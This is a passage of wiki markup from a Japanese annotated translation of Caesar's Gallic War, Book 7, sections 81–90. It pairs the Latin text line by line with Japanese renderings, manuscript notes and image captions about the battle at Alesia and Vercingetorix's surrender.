*⑥　At [[w:la:Marcus Antonius|M.(Marcus) Antonius]] et [[w:la:Gaius Trebonius|C.(Gaius) Trebonius]] legati, 
**[[w:マルクス・アントニウス|マルクス・アントニウス]]と[[w:ガイウス・トレボニウス|ガイウス・トレボニウス]] [[w:レガトゥス|両副官]]は、
*quibus hae partes ad defendendum obvenerant, 
**この方面を防衛するために割り当てられていたが、
*qua ex parte nostros premi intellexerant, 
**我が方（ローマ勢）が押されぎみであると見なした一帯のために、
*his auxilio ex ulterioribus castellis deductos submittebant.
**この者たちを支援するために、向こう側の砦から引き出した者たちを（援兵として）派遣した。

===82節===
'''アレスィア内外のガッリア勢が障害物に阻まれて退く'''
*①　Dum longius ab munitione aberant Galli, 
**ガッリア人たちは（ローマ勢の）塁壁から遠くに離れていた間は、
*plus multitudine telorum proficiebant; 
**飛び道具の多さによって、前進していた。
*posteaquam propius successerunt, 
**（塁壁の方へ）さらに近くに進入して来た後では、
*aut se ipsi&lt;ref&gt;ipsi はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; stimulis inopinantes induebant 
**あるいは、思いがけず自ら「刺」に陥り、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：stimulus「刺」については、[[#73節|73節]]⑨項を参照。）&lt;/span&gt;
*aut in scrobes delati transfodiebantur 
**あるいは、穴に陥落して（「百合」で）突き刺されたり、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「穴」と「百合」については、[[#73節|73節]]⑤～⑧項を参照。）&lt;/span&gt;
*aut ex vallo ac turribus traiecti pilis muralibus interibant. 
**あるいは、防柵や櫓から[[w:ピルム・ムーリアリス|防壁槍]]で射抜かれて逝った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：防壁槍については、[[ガリア戦記 第5巻#40節|第5巻40節]]を参照。）&lt;/span&gt;
*②　Multis undique vulneribus acceptis 
**（ガッリア勢は）至る所で多くの傷を負ったが、
*nulla munitione perrupta, 
**どの（ローマ側の）塁壁も突破されなかった。
*cum lux appeteret, 
**&lt;ruby&gt;&lt;rb&gt;暁光&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょうこう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が（空を）染めたとき、
*veriti ne ab latere aperto ex superioribus castris eruptione circumvenirentur, 
**開けた側面から、（ローマ勢の）高所の陣営からの突撃によって包囲されないようにと怖れて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：開けた側面とは、盾で守られていない右側のこと。）&lt;/span&gt;
*se ad suos receperunt. 
**味方のところへ退却した。
*③　At interiores 
**それに対して、（アレスィア攻囲の）内側の者たちは、
*dum ea quae a [[w:la:Vercingetorix|Vercingetorige]] ad eruptionem praeparata erant&lt;ref&gt;praeparata erant は、写本(ω)ではpraeparaverant だが、このように修正提案されている。あるいは、a Vercingetorige が削除提案されている。&lt;/ref&gt; proferunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により、突撃のために準備していたものを運び出して
*priores fossas explent, 
**一番前の堀を埋めている間に、
*diutius in his rebus administrandis morati 
**これらの事に従事することに、より長く妨げられて、
*prius suos discessisse cognoverunt quam munitionibus adpropinquarent. 
**塁壁に近づくよりも前に味方（＝来援軍）が退去したことを知ったのだ。
*Ita re infecta in oppidum reverterunt.
**こうして、事は達成されていないものの、[[w:オッピドゥム|城塞都市]]に引き返した。

===83節===
'''ウェルカッスィウェッラウヌスが兵6万を率いて急所の丘へ向かう'''
*①　Bis magno cum detrimento repulsi Galli 
**大きな損害とともに二度も撃退されたガッリア人たちは、
*quid agant consulunt; 
**何をなすべきかを協議した。
*locorum peritos adhibent; 
**（その）土地に熟知した者たちを招いた。
*ex his superiorum castrorum situs munitionesque cognoscunt. 
**この者たちから、（ローマ勢の）高いところの陣営の位置や塁壁を調べ上げた。
*②　Erat a septentrionibus collis, 
**（アレスィアの）北方に丘陵があって、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：これは現在のレア山 le Mont R&amp;eacute;a であると思われ、山頂にはメネルー＝ル＝ピトワ村&lt;ref&gt;[[w:fr:Ménétreux-le-Pitois]]や[http://maps.google.fr/maps?f=q&amp;hl=fr&amp;geocode=&amp;q=m%C3%A9n%C3%A9treux+le+pitois&amp;sll=42.423457,8.789063&amp;sspn=23.611541,40.957031&amp;ie=UTF8&amp;t=h&amp;hq=&amp;hnear=M%C3%A9n%C3%A9treux-le-Pitois,+C%C3%B4te-d'Or,+Bourgogne&amp;ll=47.55475,4.460106&amp;spn=0.018507,0.010042&amp;z=15 Google map]などを参照。&lt;/ref&gt;がある。）&lt;/span&gt;
*quem propter magnitudinem circuitus 
**その周囲の大きさのために、
*opere circumplecti non potuerant nostri, 
**我が方（ローマ勢）は、堡塁により囲い込むことができずにいた。
*necessarioque&lt;ref&gt;-que はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; paene iniquo loco et leniter&lt;ref&gt;leniter はπ系写本の記述で、α系･ρ系写本では leviter となっている。&lt;/ref&gt; declivi castra fecerunt&lt;ref&gt;fecerunt はα系写本の記述で、β系写本では fecerant となっている。&lt;/ref&gt;. 
**やむをえず、ほとんど不利でゆるやかに傾斜した地点に陣営を造った。
*③　Haec C.(Gaius) Antistius Reginus et C.(Gaius) Caninius Rebilus legati 
**これを、ガーイウス・アンティスティウス・レーギーヌスとガイウス・カニニウス・レビルス [[w:レガトゥス|両副官]]が
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。[[#90節|90節]]で後出。）&lt;/span&gt;
*cum duabus legionibus obtinebant. 
**2個軍団とともに占めていた。
*④　Cognitis per exploratores regionibus duces hostium 
**敵方の将帥たちは、偵察者たちを通じて一帯を調べ上げて、
*LX(sexaginta) milia ex omni numero deligunt 
**総員のうちから6万名を選抜した。
*earum civitatum quae maximam virtutis opinionem habebant; 
**武勇において大きな評判を得ている部族のうち（から選抜した）。
*⑤　quid quoque pacto agi placeat, occulte inter se constituunt; 
**何が、どんな方法で行なわれるのがよいか、互いに密かに取り決めた。
*adeundi tempus definiunt, cum meridie&lt;ref&gt;meridie は中世の写本(ω)の記述であるが、近世の写本(ς)では meridies となっている。&lt;/ref&gt; esse videatur. 
**正午であると思われる頃を突撃する時と定めた。
*⑥　His copiis Vercassivellaunum Arvernum, 
**この軍勢を、[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌス、
*unum ex quattuor ducibus, propinquum [[w:la:Vercingetorix|Vercingetorigis]], praeficiunt. 
**（すなわち）4人の将帥たちの1人で、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の親族である者に、指揮させた。
*⑦　Ille ex castris prima vigilia egressus 
**彼（ウェルカッスィウェッラウヌス）は、陣営から第一夜警時に進発して、
*prope confecto sub lucem itinere 
**夜明け前にほぼ行軍が成し遂げられて、
*post montem se occultavit 
**山の後ろに身を隠して、
*militesque ex nocturno labore sese reficere iussit. 
**兵士たちに夜間の疲労を回復しておくことを命じた。
*⑧　Cum iam meridies adpropinquare videretur, 
**すでに正午に近付いていると思われたときに、
*ad ea castra, quae supra demonstravimus, contendit; 
**前に述べた陣営のところへ急いだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：本節②項を参照。）&lt;/span&gt;
*eodemque tempore equitatus ad campestres munitiones accedere 
**同時に（ガッリア来援軍の）[[w:騎兵隊|騎兵隊]]が平地の（ローマ勢の）塁壁のところへ近付き、
*et reliquae copiae pro castris sese ostendere coeperunt.
**残りの軍勢が陣営の前に姿を現わし始めた。

===84節===
'''ウェルキンゲトリークスらアレスィア籠城軍も善戦する'''
*①　[[w:la:Vercingetorix|Vercingetorix]] ex arce [[w:la:Alesia|Alesiae]] suos conspicatus ex oppido egreditur; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、[[w:アレシア|アレスィア]]の高台から味方を望見して、[[w:オッピドゥム|城塞都市]]から進発した。
*a castris&lt;ref&gt;a castris はβ系写本の記述で、α系写本では単に castris となっている。&lt;/ref&gt;, longurios, musculos, falces 
**陣営から、長い竿、小屋、破城鎌や、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;
*reliquaque quae eruptionis causa paraverat profert. 
**（塁壁を）突破するために準備していたほかのものを運び出した。
*②　Pugnatur uno tempore omnibus locis atque omnia temptantur; 
**一時にあらゆる場所で戦われて、あらゆることが試みられた。
*quae minime visa pars firma est, huc concurritur. 
**あまり堅固ではないと思われる部分、ここへ襲いかかった。
*③　Romanorum manus tantis munitionibus distinetur 
**ローマ人の手勢は、これほどの（長大な）塁壁により離して置かれていて、
*nec facile pluribus locis occurrit. 
**より多くの場所には容易に駆け付けられなかった。
*④　Multum ad terrendos nostros valet clamor qui post tergum pugnantibus exstitit, 
**戦っている者たちの背後で生じた雄叫びは、我が方（ローマ勢）を怖れさせるために大いに力があった。
*quod suum periculum in aliena vident virtute&lt;ref&gt;virtute「武勇」 はβ系写本の記述で、α系写本では salute「安全」 となっている。&lt;/ref&gt; constare; 
**というのは、自分たち（ローマ勢）の危険が他人（ガッリア勢）の武勇に依拠していると思ったから。
*omnia enim plerumque, quae absunt, vehementius hominum mentes perturbant.
**なぜなら（そこに）不在であるものすべてはたいてい、人間の心を激しく混乱させるものであったからである。

===85節===
'''ウェルカッスィウェッラウヌスが急所の丘を攻める'''
*①　Caesar idoneum locum nactus 
**カエサルは適当な場所を得て，
*quid quaque in&lt;ref&gt;quaque in はβ系写本の記述で、α系写本では qua ex となっている。&lt;/ref&gt; parte geratur cognoscit; 
*何が各方面でなされているのかを認識した。
*laborantibus submittit. 
**苦戦している者たちに（援兵を）派遣した。
*②　Utrisque ad animum occurrit unum esse illud tempus, quo maxime contendi conveniat: 
**双方にとって、最も雌雄を決するべきはこの時のみであるということが、心に生じた。
*③　Galli, nisi perfregerint munitiones, de omni salute desperant; 
**ガッリア人たちは、（ローマ人の）塁壁を突破しない限り、あらゆる身の安全に絶望することになる。
*Romani, si rem obtinuerint, finem laborum omnium exspectant. 
**ローマ人は、もし事を成就したら、すべての労苦の終わるということを期待した。
*④　Maxime ad superiores munitiones laboratur, quo [[w:la:Vercassivellaunus|Vercassivellaunum]] missum demonstravimus. 
**ウェルカッスィウェッラウヌスが派遣されたと既述した、より高い塁壁の辺りで（ローマ勢は）とりわけ苦戦した。
*Iniquum loci ad declivitatem fastigium magnum habet momentum. 
**けわしい地形の不利な傾斜が（ローマ勢にとって）大きな影響力を持った。
*⑤　Alii tela coniciunt, alii testudine facta subeunt; 
**（ガッリア勢の）ある者は飛び道具を投げやって、ある者は[[w:テストゥド|亀甲陣形]]を形成して突き進んだ。
*defatigatis invicem integri succedunt. 
**疲労させられた者たちに対しては、新手の者たちが交代した。
*⑥　Agger ab universis in munitionem coniectus 
**土が総勢により（ローマ人の）塁壁に投じられて、
*et ascensum dat Gallis 
**ガッリア人たちに登り道を与えもしたし、
*et ea, quae in terra occultaverant Romani, contegit; 
**ローマ人たちが地中に隠しておいたもの（障害物）を埋め込んでしまった。
*nec iam arma nostris nec vires suppetunt.
**我が方（ローマ勢）には、もはや武器も活力も十分になかった。

===86節===
'''危急存亡の秋、両軍の苦闘'''
*①　His rebus cognitis 
**これらの事態を知って、
*Caesar [[w:la:Titus Labienus|Labienum]] cum cohortibus sex subsidio laborantibus mittit; 
**カエサルは、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]を6個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに援兵として苦戦している者たちへ派遣した。
*②　imperat, si sustinere non possit&lt;ref&gt;possit はχ系･B･M･S･β系写本の記述で、L･N写本では posset となっている。&lt;/ref&gt;, deductis cohortibus eruptione pugnaret&lt;ref&gt;pugnaret はα系写本の記述で、β系写本では pugnet となっている。&lt;/ref&gt;; 
**もし（塁壁の防衛が）持ちこたえられなかったならば、諸大隊を引率して突撃によって戦うように、と命令していた。
*id nisi necessario ne faciat. 
**それは、やむをえないのでなければ行なわないように（と命じていた）。
*③　Ipse adit reliquos, cohortatur ne labori succumbant; 
**（カエサル）自身は、ほかの者たちを訪れて、労苦に屈服しないようにと鼓舞した。
*omnium superiorum dimicationum fructum in eo die atque hora docet consistere. 
**これまでのあらゆる奮闘の結実がこの日、この時にかかっていることを説いた。
*④　Interiores desperatis campestribus locis propter magnitudinem munitionum 
**（アレスィアに包囲されている）内側の者たちは、塁壁の大規模さのために、平坦な地点（での突破）を断念して、
*loca praerupta ex ascensu temptant; 
**けわしい場所を登り坂から攻撃してみた。
*huc ea quae paraverant conferunt. 
**ここに、準備していたものを運び集めた。
*⑤　Multitudine telorum ex turribus propugnantes deturbant, 
**たくさんの飛び道具によって、防戦している者たちを櫓から駆逐した。
*aggere et cratibus fossas explent, 
**土砂や柴で堀を埋めて、
*falcibus vallum ac loricam rescindunt.
**破城鎌によって防柵や胸壁を切り裂いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;

===87節===
'''カエサルの救援、ラビエーヌスの作戦'''
*①　Mittit primo&lt;ref&gt;primo はφ系･ρ系写本の記述で、χ系･π系写本では primum となっている。&lt;/ref&gt; [[w:la:Decimus Iunius Brutus Albinus|Brutum adulescentem]] cum cohortibus Caesar, 
**カエサルは、初めに[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|青年ブルトゥス]]を諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに派遣して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：デキムス・ブルトゥスには[[ガリア戦記 第3巻#14節|第3巻14節]]で艦隊を、本巻[[#9節|9節]]②項では騎兵隊を指揮させている。）&lt;/span&gt;
*post cum aliis C.(Gaium) Fabium legatum; 
**後に副官のガイウス・ファビウスをほかの隊とともに（派遣した）。
*postremo ipse, cum vehementius pugnaretur, 
**最後には（カエサル）自身が、激しく戦われていたので、
*integros subsidio adducit. 
**新手の者たちを援兵として率いて行った。
*②　Restituto proelio ac repulsis hostibus 
**戦況が回復され、敵方が撃退されると、
*eo quo Labienum miserat contendit; 
**ラビエーヌスを派遣していたところに急いだ。
*cohortes IIII(quattuor) ex proximo castello deducit, 
**近隣の砦から4個歩兵大隊を引き出して、
*equitum partem se&lt;ref&gt;se はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; sequi, 
**[[w:騎兵|騎兵]]のある一部には、自らに随行することを、
*partem circumire exteriores munitiones et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tergo hostes adoriri iubet. 
**別の一部には、外側の塁壁を取り囲んで、敵方を背後から襲撃することを命じた。
*③　Labienus, postquam neque aggeres neque fossae vim hostium sustinere poterant, 
**ラビエーヌスは、土塁も堀も敵方の武力に持ちこたえることができなかった後で、
*coactis una XL(quadraginta) cohortibus, quas ex proximis praesidiis deductas fors obtulit, 
**近隣の宿営地から、はからずも引き出しておいた40個歩兵大隊を集結させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は、写本によって異なり、モイゼルらは undecim「11個」と提案している。）&lt;/span&gt;
*Caesarem per nuntios facit certiorem, quid faciendum existimet. 
**何がなされるべきと考えたのかを、カエサルに伝令を通じて報告した。
*Accelerat Caesar, ut proelio intersit.
**カエサルは、戦闘（の場）に居合わせるように急いで行った。

===88節===
'''雌雄決し、ガッリア来援軍が敗走'''
*①　Eius adventu ex colore vestitus cognito, quo insigni in proeliis uti consuerat, 
**彼（カエサル）の到来が、（彼が）戦闘において目印として用いるのが常であった衣服の色から認識され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは、真紅の外套を着用していたようである。）&lt;/span&gt;
*turmisque equitum et cohortibus visis quas se sequi iusserat, 
**（カエサルが）自らに随行することを命じていた諸&lt;ruby&gt;&lt;rb&gt;[[w:騎兵|騎兵]]小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が望見されて、
*ut de locis superioribus haec declivia et devexa cernebantur, 
**（ウェルカッスィウェッラウヌスらが派遣された）高地から、これらの斜面や急坂が見分けられたので、
*hostes proelium committunt. 
**敵方（ガッリア勢）は戦端を開いた。
*②　Utrimque clamore sublato 
**（ガッリア来援軍とアレスィア籠城軍の）双方から雄叫びが上げられて、
*excipit rursus ex vallo atque omnibus munitionibus clamor. 
**さらに、防柵やすべての塁壁から（ローマ勢の）雄叫びが続いた。
*Nostri omissis pilis gladiis rem gerunt. 
**我が方（ローマ勢）は&lt;ruby&gt;&lt;rb&gt;[[w:ピルム|投槍]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を放棄して、&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で合戦した。
*③　Repente post tergum equitatus cernitur; 
**不意に（ガッリア勢の）背後に（ローマ勢の）騎兵隊が見分けられた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：87節②項で、カエサルは騎兵隊に外壁を迂回して敵を背後から襲撃するように命じていた。）&lt;/span&gt;
*cohortes aliae adpropinquant. 
**別の諸&lt;ruby&gt;&lt;rb&gt;歩兵大隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も接近して来た。
*Hostes terga vertunt; 
**敵方（ガッリア勢）は、（ローマ勢に）背を向けた。
*fugientibus equites occurrunt. 
**逃げる者たち（ガッリア勢）を（ローマ勢の）騎兵たちが追撃した。
*Fit magna caedes. 
**大虐殺が起こった。
*④　Sedullus, dux et princeps Lemovicum, occiditur; 
**レモウィケス族の将帥で領袖であるセドゥッルスが斃された。
*[[w:la:Vercassivellaunus|Vercassivellaunus]] Arvernus vivus in fuga comprehenditur; 
**[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスは逃亡中に生きたまま捕らえられた。
*signa militaria LXXIIII(septuaginta quattuor) ad Caesarem referuntur; 
**（ガッリア勢の）74本の軍旗がカエサルのところへ運んで来られた。
*pauci ex tanto numero se incolumes&lt;ref&gt;se incolumes はα系写本の記述で、β系写本では incolumes se となっている。&lt;/ref&gt; in castra recipiunt. 
**これほどの兵数のうち、わずかな者たち（だけ）が無傷のまま陣営に退却した。
*⑤　Conspicati ex oppido caedem et fugam suorum 
**（アレスィアの）[[w:オッピドゥム|城塞都市]]から味方の虐殺や逃亡を視認した者たちは、
*desperata salute copias a munitionibus reducunt. 
**身の安全に絶望して、軍勢を塁壁から（城塞都市に）呼び戻した。
*⑥　Fit protinus hac re audita ex castris Gallorum fuga. 
**この事態が聞かれるとただちに、（来援に来ていた）ガッリア人たちの陣営から逃亡が生じた。
*Quodnisi crebris subsidiis ac totius diei labore milites essent defessi, 
**もし、たびたびの（味方への）支援や一日中の働きにより兵士たちが疲れ果てていなかったならば、
*omnes hostium copiae deleri potuissent. 
**敵方（ガッリア来援軍）の全軍勢が壊滅させられることが可能であっただろう。
*⑦　De media nocte missus equitatus novissimum agmen consequitur; 
**真夜中の頃に、派遣されていた（ローマ勢の）騎兵隊が（ガッリア勢の）後衛に追いついて、
*magnus numerus capitur atque interficitur; 
**（ガッリア勢の）大多数が捕らえられ、かつ殺戮された。
*reliqui ex fuga in civitates discedunt.
**（ガッリア来援軍の）残りの者たちは、逃亡して諸部族のところに逃げのびた。

==ガッリア同盟軍主力の降伏==
===89節===
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|330px|「ウェルキンゲトリークスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Coin_Vercingetorix.jpg|thumb|right|300px|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリークスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガッリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。]]
'''ウェルキンゲトリークスとアレスィア籠城軍の降伏'''
*①　Postero die [[w:la:Vercingetorix|Vercingetorix]] concilio convocato 
**（来援軍が敗走した）翌日に、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は会合を召集して、
*id bellum se suscepisse&lt;ref&gt;se suscepisse はα系写本の記述で、β系写本では suscepisse se となっている。&lt;/ref&gt; 
**この戦争を引き受けたことは
*non suarum necessitatum&lt;ref&gt;necessitatum はχ系･S･L･N･β系写本の記述で、B･M写本では necessitatium となっている。&lt;/ref&gt;, sed communis libertatis causa demonstrat, 
**自らの（野心の）必要性からではなく、（ガッリア）共通の自由のためだ、と明言した。
*②　et quoniam sit fortunae cedendum, 
**運命には従うべきものなのであるから、
*ad utramque rem se illis offerre, 
**（敗軍の将として、以下の）どちらの事にも、自ら（の処遇）を彼ら（ガッリア人たち）に委ねよう。
*seu morte sua Romanis satisfacere 
**あるいは（ウェルキンゲトリークス）自らの死によってローマ人たちに償うこと（を欲する）にせよ、
*seu vivum tradere velint. 
**あるいは生きたまま（ローマ人たちに）引き渡すことを欲するにせよ、と。
*③　Mittuntur de his rebus ad Caesarem legati. 
**これらの事柄について、カエサルのところへ使節たちが遣わされた。
*Iubet arma tradi, principes produci. 
**（カエサルは）武器が引き渡されること、領袖たちが連行されて来ることを命じた。
*④　Ipse in munitione pro castris consedit; 
**（カエサル）自身は、陣営の前の塁壁のところに腰掛けた。
*eo duces producuntur. 
**そこに（アレスィアに籠城していた）将帥たちが連行されて来た。
*Vercingetorix deditur, arma proiciuntur. 
**ウェルキンゲトリークスが引き渡されて、武器が投げ捨てられた。
*⑤　Reservatis [[w:la:Haedui|Haeduis]] atque Arvernis, 
**（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]と[[w:アルウェルニ族|アルウェルニー族]]（の将兵たち）を保持しておいた。
*si per eos civitates reciperare&lt;ref&gt;reciperare はχ系･B&lt;sup&gt;1&lt;/sup&gt;･S･U写本の記述で、B&lt;sup&gt;c&lt;/sup&gt;･M･L･N･π系･R写本では recuperare となっている。&lt;/ref&gt; posset, 
**彼らによって両部族国家を（同盟国として）回復できないだろうかと（考えたのだ）。
*ex reliquis captivis toto exercitui capita singula praedae nomine distribuit.
**残りの（諸部族の）捕虜たちから、全軍（のローマ人）に一名ずつを戦利品という名目で分配した。

===90節===
[[画像:Autun_porte_Saint-André.JPG|thumb|right|300px|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイー族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥーヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。]]
[[画像:Clermont_vu_de_Montjuzet.JPG|thumb|right|300px|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニー族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。]]
'''ハエドゥイー族とアルウェルニー族の降伏、諸軍団の冬営'''
*①　His rebus confectis in [[w:la:Haedui|Haeduos]] proficiscitur; 
**これらの事が成し遂げられて、（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]のところに出発した。
*civitatem recipit. 
**同部族を（同盟国として）回復した。
*②　Eo legati ab Arvernis missi: 
**そこに、[[w:アルウェルニ族|アルウェルニー族]]から使節たちが遣わされて来て、
*quae imperaret, se facturos pollicentur. 
**自分たちは（カエサルが）命令したことを行なうであろう、と約束した。
*Imperat magnum numerum obsidum. 
**（カエサルは）多数の人質（の供出）を命令した。
*③　Legiones in hiberna mittit. 
**（カエサルは）諸[[w:ローマ軍団|軍団]]を冬営地に派遣した。
*Captivorum circiter XX(viginti) milia Haeduis Arvernisque reddit. 
**捕虜たち約2万人をハエドゥイー族とアルウェルニー族に返還した。
*④　[[w:la:Titus Labienus|T.&lt;small&gt;(Titum)&lt;/small&gt; Labienum]] duabus cum&lt;ref&gt;duabus cum はχ系･B･M･S写本の記述で、L･N･β系写本では cum duabus となっている。&lt;/ref&gt; legionibus et equitatu in Sequanos proficisci iubet; 
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]を2個軍団および[[w:騎兵|騎兵隊]]とともにセクアニ族のところに出発することを命じた。
*huic M.&lt;small&gt;(Marcum)&lt;/small&gt; Sempronium Rutilum attribuit. 
**彼には、マルクス・[[w:センプロニウス氏族|センプロニウス]]・ルティルスを付属させた。
*⑤　C.&lt;small&gt;(Gaium)&lt;/small&gt; Fabium legatum et L.&lt;small&gt;(Lucium)&lt;/small&gt; Minucium Basilum cum legionibus duabus in Remis conlocat, 
**副官 ガーイウス・ファビウスとルキウス・ミヌキウス・バスィルスを2個軍団とともにレーミー族のところに配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：バスィルスは[[ガリア戦記 第6巻#29節|第6巻29節]]で騎兵隊を指揮した。）&lt;/span&gt;
*ne quam ab&lt;ref&gt;ab はφ系写本の記述で、χ系･β系写本では a となっている。&lt;/ref&gt; finitimis Bellovacis calamitatem accipiant. 
**（レーミー族が）近隣のベッロウァキ族から何らかの災禍を蒙らないようにしたのである。
*⑥　C.&lt;small&gt;(Gaium)&lt;/small&gt; Antistium Reginum in Ambivaretos, 
**ガーイウス・アンティスティウス・レーギーヌスをアンビウァレティ族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]、[[#83節|本巻83節]]で既出。）&lt;/span&gt;
*T.&lt;small&gt;(Titum)&lt;/small&gt; Sextium in Bituriges, 
**ティトゥス・セクスティウスをビトゥリゲース族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:en:Titus Sextius|Titus Sextius]] も[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。第6巻の年からカエサルの副官、&lt;br&gt;　　　　　[[w:三頭政治#第二回三頭政治|第二回三頭政治]]では[[w:アフリカ属州|アフリカ属州]]の総督を務め、[[w:マルクス・アエミリウス・レピドゥス|レピドゥス]]に引き継ぐ。）
*C.&lt;small&gt;(Gaium)&lt;/small&gt; Caninium Rebilum in Rutenos cum singulis legionibus mittit. 
**ガーイウス・カニニウス・レビルスをルテーニー族のところに、それぞれ1個軍団とともに派遣した。
*⑦　[[w:la:Quintus Tullius Cicero|Q.&lt;small&gt;(Quintum)&lt;/small&gt; Tullium Ciceronem]] et P.&lt;small&gt;(Publium)&lt;/small&gt; Sulpicium 
**[[w:クィントゥス・トゥッリウス・キケロ|クィーントゥス・トゥッリウス・キケロー]]とプーブリウス・スルピキウス（・ルーフス）を
